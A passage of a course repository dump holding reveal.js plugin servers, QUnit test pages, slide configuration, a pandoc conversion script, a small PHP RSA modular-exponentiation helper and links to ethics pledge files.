11 | Reveal.setState(data.state);
12 | });
13 | }());
14 |
--------------------------------------------------------------------------------
/slides/reveal.js/plugin/multiplex/index.js:
--------------------------------------------------------------------------------
1 | var http = require('http');
2 | var express = require('express');
3 | var fs = require('fs');
4 | var io = require('socket.io');
5 | var crypto = require('crypto');
6 |
7 | var app = express();
8 | var staticDir = express.static;
9 | var server = http.createServer(app);
10 |
11 | io = io(server);
12 |
13 | var opts = {
14 | port: process.env.PORT || 1948,
15 | baseDir : __dirname + '/../../'
16 | };
17 |
18 | io.on( 'connection', function( socket ) {
19 | socket.on('multiplex-statechanged', function(data) {
20 | if (typeof data.secret == 'undefined' || data.secret == null || data.secret === '') return;
21 | if (createHash(data.secret) === data.socketId) {
22 | data.secret = null;
23 | socket.broadcast.emit(data.socketId, data);
24 | };
25 | });
26 | });
27 |
28 | [ 'css', 'js', 'plugin', 'lib' ].forEach(function(dir) {
29 | app.use('/' + dir, staticDir(opts.baseDir + dir));
30 | });
31 |
32 | app.get("/", function(req, res) {
33 | res.writeHead(200, {'Content-Type': 'text/html'});
34 |
35 | var stream = fs.createReadStream(opts.baseDir + '/index.html');
36 | stream.on('error', function( error ) {
37 | res.write('reveal.js multiplex server. Generate token ');
38 | res.end();
39 | });
40 | stream.on('readable', function() {
41 | stream.pipe(res);
42 | });
43 | });
44 |
45 | app.get("/token", function(req,res) {
46 | var ts = new Date().getTime();
47 | var rand = Math.floor(Math.random()*9999999);
48 | var secret = ts.toString() + rand.toString();
49 | res.send({secret: secret, socketId: createHash(secret)});
50 | });
51 |
52 | var createHash = function(secret) {
53 | var cipher = crypto.createCipher('blowfish', secret);
54 | return(cipher.final('hex'));
55 | };
56 |
57 | // Actually listen
58 | server.listen( opts.port || null );
59 |
60 | var brown = '\033[33m',
61 | green = '\033[32m',
62 | reset = '\033[0m';
63 |
64 | console.log( brown + "reveal.js:" + reset + " Multiplex running on port " + green + opts.port + reset );
--------------------------------------------------------------------------------
/slides/reveal.js/plugin/multiplex/master.js:
--------------------------------------------------------------------------------
1 | (function() {
2 |
3 | // Don't emit events from inside of notes windows
4 | if ( window.location.search.match( /receiver/gi ) ) { return; }
5 |
6 | var multiplex = Reveal.getConfig().multiplex;
7 |
8 | var socket = io.connect( multiplex.url );
9 |
10 | function post() {
11 |
12 | var messageData = {
13 | state: Reveal.getState(),
14 | secret: multiplex.secret,
15 | socketId: multiplex.id
16 | };
17 |
18 | socket.emit( 'multiplex-statechanged', messageData );
19 |
20 | };
21 |
22 | // Monitor events that trigger a change in state
23 | Reveal.addEventListener( 'slidechanged', post );
24 | Reveal.addEventListener( 'fragmentshown', post );
25 | Reveal.addEventListener( 'fragmenthidden', post );
26 | Reveal.addEventListener( 'overviewhidden', post );
27 | Reveal.addEventListener( 'overviewshown', post );
28 | Reveal.addEventListener( 'paused', post );
29 | Reveal.addEventListener( 'resumed', post );
30 |
31 | }());
--------------------------------------------------------------------------------
/slides/reveal.js/plugin/multiplex/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "reveal-js-multiplex",
3 | "version": "1.0.0",
4 | "description": "reveal.js multiplex server",
5 | "homepage": "http://lab.hakim.se/reveal-js",
6 | "scripts": {
7 | "start": "node index.js"
8 | },
9 | "engines": {
10 | "node": "~4.1.1"
11 | },
12 | "dependencies": {
13 | "express": "~4.13.3",
14 | "grunt-cli": "~0.1.13",
15 | "mustache": "~2.2.1",
16 | "socket.io": "~1.3.7"
17 | },
18 | "license": "MIT"
19 | }
20 |
--------------------------------------------------------------------------------
/slides/reveal.js/plugin/notes-server/client.js:
--------------------------------------------------------------------------------
1 | (function() {
2 |
3 | // don't emit events from inside the previews themselves
4 | if( window.location.search.match( /receiver/gi ) ) { return; }
5 |
6 | var socket = io.connect( window.location.origin ),
7 | socketId = Math.random().toString().slice( 2 );
8 |
9 | console.log( 'View slide notes at ' + window.location.origin + '/notes/' + socketId );
10 |
11 | window.open( window.location.origin + '/notes/' + socketId, 'notes-' + socketId );
12 |
13 | /**
14 | * Posts the current slide data to the notes window
15 | */
16 | function post() {
17 |
18 | var slideElement = Reveal.getCurrentSlide(),
19 | notesElement = slideElement.querySelector( 'aside.notes' );
20 |
21 | var messageData = {
22 | notes: '',
23 | markdown: false,
24 | socketId: socketId,
25 | state: Reveal.getState()
26 | };
27 |
28 | // Look for notes defined in a slide attribute
29 | if( slideElement.hasAttribute( 'data-notes' ) ) {
30 | messageData.notes = slideElement.getAttribute( 'data-notes' );
31 | }
32 |
33 | // Look for notes defined in an aside element
34 | if( notesElement ) {
35 | messageData.notes = notesElement.innerHTML;
36 | messageData.markdown = typeof notesElement.getAttribute( 'data-markdown' ) === 'string';
37 | }
38 |
39 | socket.emit( 'statechanged', messageData );
40 |
41 | }
42 |
43 | // When a new notes window connects, post our current state
44 | socket.on( 'new-subscriber', function( data ) {
45 | post();
46 | } );
47 |
48 | // When the state changes from inside of the speaker view
49 | socket.on( 'statechanged-speaker', function( data ) {
50 | Reveal.setState( data.state );
51 | } );
52 |
53 | // Monitor events that trigger a change in state
54 | Reveal.addEventListener( 'slidechanged', post );
55 | Reveal.addEventListener( 'fragmentshown', post );
56 | Reveal.addEventListener( 'fragmenthidden', post );
57 | Reveal.addEventListener( 'overviewhidden', post );
58 | Reveal.addEventListener( 'overviewshown', post );
59 | Reveal.addEventListener( 'paused', post );
60 | Reveal.addEventListener( 'resumed', post );
61 |
62 | // Post the initial state
63 | post();
64 |
65 | }());
66 |
--------------------------------------------------------------------------------
/slides/reveal.js/plugin/notes-server/index.js:
--------------------------------------------------------------------------------
1 | var http = require('http');
2 | var express = require('express');
3 | var fs = require('fs');
4 | var io = require('socket.io');
5 | var Mustache = require('mustache');
6 |
7 | var app = express();
8 | var staticDir = express.static;
9 | var server = http.createServer(app);
10 |
11 | io = io(server);
12 |
13 | var opts = {
14 | port : 1947,
15 | baseDir : __dirname + '/../../'
16 | };
17 |
18 | io.on( 'connection', function( socket ) {
19 |
20 | socket.on( 'new-subscriber', function( data ) {
21 | socket.broadcast.emit( 'new-subscriber', data );
22 | });
23 |
24 | socket.on( 'statechanged', function( data ) {
25 | delete data.state.overview;
26 | socket.broadcast.emit( 'statechanged', data );
27 | });
28 |
29 | socket.on( 'statechanged-speaker', function( data ) {
30 | delete data.state.overview;
31 | socket.broadcast.emit( 'statechanged-speaker', data );
32 | });
33 |
34 | });
35 |
36 | [ 'css', 'js', 'images', 'plugin', 'lib' ].forEach( function( dir ) {
37 | app.use( '/' + dir, staticDir( opts.baseDir + dir ) );
38 | });
39 |
40 | app.get('/', function( req, res ) {
41 |
42 | res.writeHead( 200, { 'Content-Type': 'text/html' } );
43 | fs.createReadStream( opts.baseDir + '/index.html' ).pipe( res );
44 |
45 | });
46 |
47 | app.get( '/notes/:socketId', function( req, res ) {
48 |
49 | fs.readFile( opts.baseDir + 'plugin/notes-server/notes.html', function( err, data ) {
50 | res.send( Mustache.to_html( data.toString(), {
51 | socketId : req.params.socketId
52 | }));
53 | });
54 |
55 | });
56 |
57 | // Actually listen
58 | server.listen( opts.port || null );
59 |
60 | var brown = '\033[33m',
61 | green = '\033[32m',
62 | reset = '\033[0m';
63 |
64 | var slidesLocation = 'http://localhost' + ( opts.port ? ( ':' + opts.port ) : '' );
65 |
66 | console.log( brown + 'reveal.js - Speaker Notes' + reset );
67 | console.log( '1. Open the slides at ' + green + slidesLocation + reset );
68 | console.log( '2. Click on the link in your JS console to go to the notes page' );
69 | console.log( '3. Advance through your slides and your notes will advance automatically' );
70 |
--------------------------------------------------------------------------------
/slides/reveal.js/plugin/print-pdf/print-pdf.js:
--------------------------------------------------------------------------------
1 | /**
2 | * phantomjs script for printing presentations to PDF.
3 | *
4 | * Example:
5 | * phantomjs print-pdf.js "http://lab.hakim.se/reveal-js?print-pdf" reveal-demo.pdf
6 | *
7 | * @author Manuel Bieh (https://github.com/manuelbieh)
8 | * @author Hakim El Hattab (https://github.com/hakimel)
9 | * @author Manuel Riezebosch (https://github.com/riezebosch)
10 | */
11 |
12 | // html2pdf.js
13 | var system = require( 'system' );
14 |
15 | var probePage = new WebPage();
16 | var printPage = new WebPage();
17 |
18 | var inputFile = system.args[1] || 'index.html?print-pdf';
19 | var outputFile = system.args[2] || 'slides.pdf';
20 |
21 | if( outputFile.match( /\.pdf$/gi ) === null ) {
22 | outputFile += '.pdf';
23 | }
24 |
25 | console.log( 'Export PDF: Reading reveal.js config [1/4]' );
26 |
27 | probePage.open( inputFile, function( status ) {
28 |
29 | console.log( 'Export PDF: Preparing print layout [2/4]' );
30 |
31 | var config = probePage.evaluate( function() {
32 | return Reveal.getConfig();
33 | } );
34 |
35 | if( config ) {
36 |
37 | printPage.paperSize = {
38 | width: Math.floor( config.width * ( 1 + config.margin ) ),
39 | height: Math.floor( config.height * ( 1 + config.margin ) ),
40 | border: 0
41 | };
42 |
43 | printPage.open( inputFile, function( status ) {
44 | console.log( 'Export PDF: Preparing pdf [3/4]')
45 | printPage.evaluate(function() {
46 | Reveal.isReady() ? window.callPhantom() : Reveal.addEventListener( 'pdf-ready', window.callPhantom );
47 | });
48 | } );
49 |
50 | printPage.onCallback = function(data) {
51 | // For some reason we need to "jump the queue" for syntax highlighting to work.
52 | // See: http://stackoverflow.com/a/3580132/129269
53 | setTimeout(function() {
54 | console.log( 'Export PDF: Writing file [4/4]' );
55 | printPage.render( outputFile );
56 | console.log( 'Export PDF: Finished successfully!' );
57 | phantom.exit();
58 | }, 0);
59 | };
60 | }
61 | else {
62 |
63 | console.log( 'Export PDF: Unable to read reveal.js config. Make sure the input address points to a reveal.js page.' );
64 | phantom.exit(1);
65 |
66 | }
67 | } );
68 |
69 |
70 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/examples/assets/image1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/test/examples/assets/image1.png
--------------------------------------------------------------------------------
/slides/reveal.js/test/examples/assets/image2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/test/examples/assets/image2.png
--------------------------------------------------------------------------------
/slides/reveal.js/test/examples/barebones.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | reveal.js - Barebones
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 | Barebones Presentation
20 | This example contains the bare minimum includes and markup required to run a reveal.js presentation.
21 |
22 |
23 |
24 | No Theme
25 | There's no theme included, so it will fall back on browser defaults.
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/examples/embedded-media.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | reveal.js - Embedded Media
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | Embedded Media Test
23 |
24 |
25 |
28 |
29 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
47 |
48 |
49 |
50 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/examples/slide-transitions.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | reveal.js - Slide Transitions
8 |
9 |
10 |
11 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
32 |
33 |
36 |
37 |
38 | data-transition: zoom
39 |
40 |
41 |
42 | data-transition: zoom-in fade-out
43 |
44 |
45 |
48 |
49 |
50 | data-transition: convex
51 |
52 |
53 |
54 | data-transition: convex-in concave-out
55 |
56 |
57 |
58 |
61 |
62 | data-transition: concave
63 |
64 |
65 | data-transition: convex-in fade-out
66 |
67 |
70 |
71 |
72 |
73 | data-transition: none
74 |
75 |
76 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
99 |
100 |
101 |
102 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/simple.md:
--------------------------------------------------------------------------------
1 | ## Slide 1.1
2 |
3 | ```js
4 | var a = 1;
5 | ```
6 |
7 |
8 | ## Slide 1.2
9 |
10 |
11 |
12 | ## Slide 2
13 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-markdown-element-attributes.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | reveal.js - Test Markdown Element Attributes
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
74 |
75 |
76 |
77 |
91 |
92 |
99 |
100 |
109 |
110 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-markdown-element-attributes.js:
--------------------------------------------------------------------------------
1 |
2 |
3 | Reveal.addEventListener( 'ready', function() {
4 |
5 | QUnit.module( 'Markdown' );
6 |
7 | test( 'Vertical separator', function() {
8 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section' ).length, 4, 'found four slides' );
9 | });
10 |
11 |
12 | test( 'Attributes on element header in vertical slides', function() {
13 | strictEqual( document.querySelectorAll( '.reveal .slides section>section h2.fragment.fade-out' ).length, 1, 'found one vertical slide with class fragment.fade-out on header' );
14 | strictEqual( document.querySelectorAll( '.reveal .slides section>section h2.fragment.shrink' ).length, 1, 'found one vertical slide with class fragment.shrink on header' );
15 | });
16 |
17 | test( 'Attributes on element paragraphs in vertical slides', function() {
18 | strictEqual( document.querySelectorAll( '.reveal .slides section>section p.fragment.grow' ).length, 2, 'found a vertical slide with two paragraphs with class fragment.grow' );
19 | });
20 |
21 | test( 'Attributes on element list items in vertical slides', function() {
22 | strictEqual( document.querySelectorAll( '.reveal .slides section>section li.fragment.grow' ).length, 3, 'found a vertical slide with three list items with class fragment.grow' );
23 | });
24 |
25 | test( 'Attributes on element paragraphs in horizontal slides', function() {
26 | strictEqual( document.querySelectorAll( '.reveal .slides section p.fragment.highlight-red' ).length, 4, 'found a horizontal slide with four paragraphs with class fragment.grow' );
27 | });
28 | test( 'Attributes on element list items in horizontal slides', function() {
29 | strictEqual( document.querySelectorAll( '.reveal .slides section li.fragment.highlight-green' ).length, 5, 'found a horizontal slide with five list items with class fragment.roll-in' );
30 | });
31 | test( 'Attributes on element list items in horizontal slides', function() {
32 | strictEqual( document.querySelectorAll( '.reveal .slides section img.reveal.stretch' ).length, 1, 'found a horizontal slide with stretched image, class img.reveal.stretch' );
33 | });
34 |
35 | test( 'Attributes on elements in vertical slides with default element attribute separator', function() {
36 | strictEqual( document.querySelectorAll( '.reveal .slides section h2.fragment.highlight-red' ).length, 2, 'found two h2 titles with fragment highlight-red in vertical slides with default element attribute separator' );
37 | });
38 |
39 | test( 'Attributes on elements in single slides with default element attribute separator', function() {
40 | strictEqual( document.querySelectorAll( '.reveal .slides section p.fragment.highlight-blue' ).length, 3, 'found three elements with fragment highlight-blue in single slide with default element attribute separator' );
41 | });
42 |
43 | } );
44 |
45 | Reveal.initialize();
46 |
47 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-markdown-external.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | reveal.js - Test Markdown
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-markdown-external.js:
--------------------------------------------------------------------------------
1 |
2 |
3 | Reveal.addEventListener( 'ready', function() {
4 |
5 | QUnit.module( 'Markdown' );
6 |
7 | test( 'Vertical separator', function() {
8 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section' ).length, 2, 'found two slides' );
9 | });
10 |
11 | test( 'Horizontal separator', function() {
12 | strictEqual( document.querySelectorAll( '.reveal .slides>section' ).length, 2, 'found two slides' );
13 | });
14 |
15 | test( 'Language highlighter', function() {
16 | strictEqual( document.querySelectorAll( '.hljs-keyword' ).length, 1, 'got rendered highlight tag.' );
17 | strictEqual( document.querySelector( '.hljs-keyword' ).innerHTML, 'var', 'the same keyword: var.' );
18 | });
19 |
20 |
21 | } );
22 |
23 | Reveal.initialize();
24 |
25 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-markdown-options.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | reveal.js - Test Markdown Options
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-markdown-options.js:
--------------------------------------------------------------------------------
1 | Reveal.addEventListener( 'ready', function() {
2 |
3 | QUnit.module( 'Markdown' );
4 |
5 | test( 'Options are set', function() {
6 | strictEqual( marked.defaults.smartypants, true );
7 | });
8 |
9 | test( 'Smart quotes are activated', function() {
10 | var text = document.querySelector( '.reveal .slides>section>p' ).textContent;
11 |
12 | strictEqual( /['"]/.test( text ), false );
13 | strictEqual( /[“”‘’]/.test( text ), true );
14 | });
15 |
16 | } );
17 |
18 | Reveal.initialize({
19 | dependencies: [
20 | { src: '../plugin/markdown/marked.js' },
21 | { src: '../plugin/markdown/markdown.js' },
22 | ],
23 | markdown: {
24 | smartypants: true
25 | }
26 | });
27 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-markdown-slide-attributes.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | reveal.js - Test Markdown Attributes
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
57 |
58 |
89 |
90 |
96 |
97 |
103 |
104 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-markdown-slide-attributes.js:
--------------------------------------------------------------------------------
1 |
2 |
3 | Reveal.addEventListener( 'ready', function() {
4 |
5 | QUnit.module( 'Markdown' );
6 |
7 | test( 'Vertical separator', function() {
8 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section' ).length, 6, 'found six vertical slides' );
9 | });
10 |
11 | test( 'Id on slide', function() {
12 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section#slide2' ).length, 1, 'found one slide with id slide2' );
13 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section a[href="#/slide2"]' ).length, 1, 'found one slide with a link to slide2' );
14 | });
15 |
16 | test( 'data-background attributes', function() {
17 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section[data-background="#A0C66B"]' ).length, 1, 'found one vertical slide with data-background="#A0C66B"' );
18 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section[data-background="#ff0000"]' ).length, 1, 'found one vertical slide with data-background="#ff0000"' );
19 | strictEqual( document.querySelectorAll( '.reveal .slides>section[data-background="#C6916B"]' ).length, 1, 'found one slide with data-background="#C6916B"' );
20 | });
21 |
22 | test( 'data-transition attributes', function() {
23 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section[data-transition="zoom"]' ).length, 1, 'found one vertical slide with data-transition="zoom"' );
24 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section[data-transition="fade"]' ).length, 1, 'found one vertical slide with data-transition="fade"' );
25 | strictEqual( document.querySelectorAll( '.reveal .slides section [data-transition="zoom"]' ).length, 1, 'found one slide with data-transition="zoom"' );
26 | });
27 |
28 | test( 'data-background attributes with default separator', function() {
29 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section[data-background="#A7C66B"]' ).length, 1, 'found one vertical slide with data-background="#A0C66B"' );
30 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section[data-background="#f70000"]' ).length, 1, 'found one vertical slide with data-background="#ff0000"' );
31 | strictEqual( document.querySelectorAll( '.reveal .slides>section[data-background="#C7916B"]' ).length, 1, 'found one slide with data-background="#C6916B"' );
32 | });
33 |
34 | test( 'data-transition attributes with default separator', function() {
35 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section[data-transition="concave"]' ).length, 1, 'found one vertical slide with data-transition="zoom"' );
36 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section[data-transition="page"]' ).length, 1, 'found one vertical slide with data-transition="fade"' );
37 | strictEqual( document.querySelectorAll( '.reveal .slides section [data-transition="concave"]' ).length, 1, 'found one slide with data-transition="zoom"' );
38 | });
39 |
40 | test( 'data-transition attributes with inline content', function() {
41 | strictEqual( document.querySelectorAll( '.reveal .slides>section[data-background="#ff0000"]' ).length, 3, 'found three horizontal slides with data-background="#ff0000"' );
42 | });
43 |
44 | } );
45 |
46 | Reveal.initialize();
47 |
48 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-markdown.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | reveal.js - Test Markdown
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-markdown.js:
--------------------------------------------------------------------------------
1 |
2 |
3 | Reveal.addEventListener( 'ready', function() {
4 |
5 | QUnit.module( 'Markdown' );
6 |
7 | test( 'Vertical separator', function() {
8 | strictEqual( document.querySelectorAll( '.reveal .slides>section>section' ).length, 2, 'found two slides' );
9 | });
10 |
11 |
12 | } );
13 |
14 | Reveal.initialize();
15 |
16 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-pdf.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | reveal.js - Test PDF exports
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 | 1
25 |
26 |
27 |
28 |
39 |
40 |
41 |
42 | 3.1
43 |
44 | 4.1
45 | 4.2
46 | 4.3
47 |
48 |
49 |
50 |
57 |
58 |
59 | 3.3
60 |
61 | 3.3.1
62 | 3.3.2
63 | 3.3.3
64 |
65 |
66 |
67 |
68 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test-pdf.js:
--------------------------------------------------------------------------------
1 |
2 | Reveal.addEventListener( 'ready', function() {
3 |
4 | // Only one test for now, we're mainly ensuring that there
5 | // are no execution errors when running PDF mode
6 |
7 | test( 'Reveal.isReady', function() {
8 | strictEqual( Reveal.isReady(), true, 'returns true' );
9 | });
10 |
11 |
12 | } );
13 |
14 | Reveal.initialize({ pdf: true });
15 |
16 |
--------------------------------------------------------------------------------
/slides/reveal.js/test/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | reveal.js - Tests
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 | 1
24 |
25 |
26 |
27 |
28 |
29 |
30 |
41 |
42 |
43 |
44 | 3.1
45 |
46 | 4.1
47 | 4.2
48 | 4.3
49 |
50 |
51 |
52 |
60 |
61 |
62 | 3.3
63 |
64 | 3.3.1
65 | 3.3.2
66 | 3.3.3
67 |
68 |
69 |
70 |
71 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
--------------------------------------------------------------------------------
/slides/settings.js:
--------------------------------------------------------------------------------
1 | // Full list of configuration options available here:
2 | // https://github.com/hakimel/reveal.js#configuration
3 | Reveal.initialize({
4 | controls: true,
5 | progress: true,
6 | history: true,
7 | center: true,
8 | slideNumber: true,
9 | transition: 'slide', // none/fade/slide/convex/concave/zoom
10 | // Optional reveal.js plugins
11 | dependencies: [
12 | { src: '../slides/reveal.js/plugin/math/math.js', async: true },
13 | { src: '../slides/reveal.js/lib/js/classList.js', condition: function() { return !document.body.classList; } },
14 | { src: '../slides/reveal.js/plugin/markdown/marked.js', condition: function() { return !!document.querySelector( '[data-markdown]' ); } },
15 | { src: '../slides/reveal.js/plugin/markdown/markdown.js', condition: function() { return !!document.querySelector( '[data-markdown]' ); } },
16 | { src: '../slides/reveal.js/plugin/highlight/highlight.js', async: true, condition: function() { return !!document.querySelector( 'pre code' ); }, callback: function() { hljs.initHighlightingOnLoad(); } },
17 | { src: '../slides/reveal.js/plugin/zoom-js/zoom.js', async: true },
18 | { src: '../slides/reveal.js/plugin/notes/notes.js', async: true }
19 | ]
20 | });
21 |
--------------------------------------------------------------------------------
/slides/template.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | DADA: ...
7 |
8 |
9 |
10 |
11 |
12 |
13 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
37 |
38 |
44 |
45 |
46 |
47 |
50 |
51 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
--------------------------------------------------------------------------------
/utils/convert-markdown-to-html:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | for infile in `ls *.md`; do
4 | lineone=`head -1 $infile`
5 | outfile=`echo $infile | sed 's/md$/html/g'`
6 | pandoc -V "pagetitle:$lineone" -f markdown -c markdown.css -t html -o $outfile $infile
7 | done
8 |
9 | for infile in `ls */*.md`; do
10 | lineone=`head -1 $infile`
11 | outfile=`echo $infile | sed 's/md$/html/g'`
12 | pandoc -V "pagetitle:$lineone" -f markdown -c ../markdown.css -t html -o $outfile $infile
13 | done
14 |
15 | for infile in `ls */*/*.md | grep -v reveal.js`; do
16 | lineone=`head -1 $infile`
17 | outfile=`echo $infile | sed 's/md$/html/g'`
18 | pandoc -V "pagetitle:$lineone" -f markdown -c ../../markdown.css -t html -o $outfile $infile
19 | done
20 |
--------------------------------------------------------------------------------
/utils/modpow.php:
--------------------------------------------------------------------------------
1 |
2 | RSA Math Helper
3 | RSA Math Helper
4 |
5 | This script will compute me mod n or
6 | cd mod n .
7 |
8 |
17 | Result: " . $_POST['morc'] . "" . $_POST['dore'] . " mod " .
26 | $_POST['n'] . " = " . bcpowmod($_POST['morc'],$_POST['dore'],$_POST['n']) . " \n";
27 |
28 | if ( isset($_GET['morc']) && is_numeric($_GET['morc']) &&
29 | isset($_GET['dore']) && is_numeric($_GET['dore']) &&
30 | isset($_GET['n']) && is_numeric($_GET['n']) )
31 | echo "Result: " . $_GET['morc'] . "" . $_GET['dore'] . " mod " .
32 | $_GET['n'] . " = " . bcpowmod($_GET['morc'],$_GET['dore'],$_GET['n']) . "
\n";
33 | ?>
34 |
35 |
--------------------------------------------------------------------------------
/uva/ethics-pledge-no-footer.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/uva/ethics-pledge-no-footer.pdf
--------------------------------------------------------------------------------
/uva/ethics-pledge.odt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/uva/ethics-pledge.odt
--------------------------------------------------------------------------------
/uva/ethics-pledge.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/uva/ethics-pledge.pdf
--------------------------------------------------------------------------------